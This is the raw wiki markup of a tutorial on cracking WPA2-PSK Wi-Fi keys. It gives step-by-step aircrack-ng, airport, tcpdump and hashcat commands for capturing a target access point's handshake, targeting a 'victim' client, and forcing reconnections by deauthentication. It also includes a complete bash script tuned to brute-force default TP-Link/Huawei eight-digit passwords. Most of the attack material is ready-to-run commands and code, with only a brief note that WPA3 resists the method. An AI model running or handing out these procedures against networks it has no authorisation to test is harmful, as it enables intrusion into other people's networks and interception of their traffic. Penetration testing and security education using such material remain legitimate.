&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   sudo service network-manager restart&lt;br /&gt;
&lt;br /&gt;
Alternatively on systemd:&lt;br /&gt;
&lt;br /&gt;
   sudo systemctl restart network-manager&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
